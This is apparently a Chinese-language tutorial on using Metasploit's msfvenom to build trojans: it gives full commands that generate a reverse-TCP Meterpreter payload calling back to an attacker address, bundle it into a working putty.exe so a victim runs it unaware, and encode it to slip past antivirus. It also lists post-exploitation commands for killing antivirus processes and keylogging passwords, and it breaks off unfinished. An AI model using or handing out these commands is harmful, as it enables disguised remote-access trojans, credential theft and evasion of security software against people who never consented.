Metasploit 渗透测试 - 木马与免杀
一、最简单的后门
msfvenom是msfcli和msfencode的合体,功能更加强大,使用更方便。msfvenom可以生成各种格式的payload,并且支持多种编码方式,可以帮助我们绕过杀毒软件检测。
使用msfvenom生成一个windows/meterpreter/reverse_tcp的payload,连接到攻击者的IP地址
基本参数说明
-p: --payload,指定要生成的payload类型-f: --format,指定生成的文件格式-o: output,指定生成的文件路径
参数:使用key=value的格式指定payload的参数,例如LHOST=10.10.10.133
开启监听服务器
另外,需要开启一个服务器监听,以便接收被攻击主机的连接。
执行木马
接下来在靶机上打开第一步生成的hackme.exe文件,运行它,服务器就会收到一个meterpreter的连接,成功进入靶机的命令行界面。
常用利用命令
sysinfo- 查看系统信息kill <pid>- 杀死指定进程(关闭杀毒软件)run vnc- 安装vnc远程控制靶机的桌面(会生成一个临时文件,并且会被杀软检测)keyscan- 监听可能的密码keyscan_start- 开始键盘记录keyscan_dump- 导出记录数据keyscan_stop- 结束键盘记录
background- 后台执行会话,切换回msfconsole
太棒了!现在我们只需要让受害者下载一个来路不明的名为hackme.exe的可疑文件,为了打开这个软件无视警告关闭杀毒软件,再次运行,并无视没有任何程序打开的可疑结果就行了!
二、捆绑
使用-x <path>选项指定一个可执行文件作为模版,也就是制作捆绑木马
我使用了我的真机测试:Windows11 x64。许多程序捆绑失败了,经验总结为大小不要超过几十MB,最终选用putty.exe 32-bit(一款ssh工具,1.44MB)
命令示例
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=80 -f exe -x .\putty.exe -o PUTTY.exe --arch x86 --platform windows -k
参数解释
-p windows/meterpreter/reverse_tcp:使用payload为windows/meterpreter/reverse_tcp,x86-LHOST=10.10.10.133 LPORT=80:攻击机地址与监听端口,此处为内网kali虚拟机和80端口-f exe:文件格式(format)为exe-x .\putty.exe:以当前路径下putty.exe为模板-o PUTTY.exe:输出生成PUTTY.exe(覆盖原有exe)--arch x86 --platform windows:x86架构,windows平台-k:keep,保持模板程序原有功能正常运行
如此便成功生成了木马程序,当受害者下载不那么可疑的putty.exe并打开时,后台已经悄悄打开meterpreter会话了
三、免杀
由于Metasploit的鼎鼎大名,Meterpreter被安全厂商做局了
1. 编码器免杀
Metasploit提供了encoder模块帮助免杀。使用命令列出可用编码器:
msfvenom --list encoders
此处选用x86/shikata_ga_nai(Rank:excellent!)迭代10轮
使用-e指定编码器(encoder),-i指定迭代次数(iteration)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=80 -f exe -x .\putty.exe -o PUSSY.exe --arch x86 --platform windows -k -e x86/shikata_ga_nai -i 10
但效果有限,可怜的木马仍未逃脱被杀毒软件制裁的命运
2. 待续
未完待续...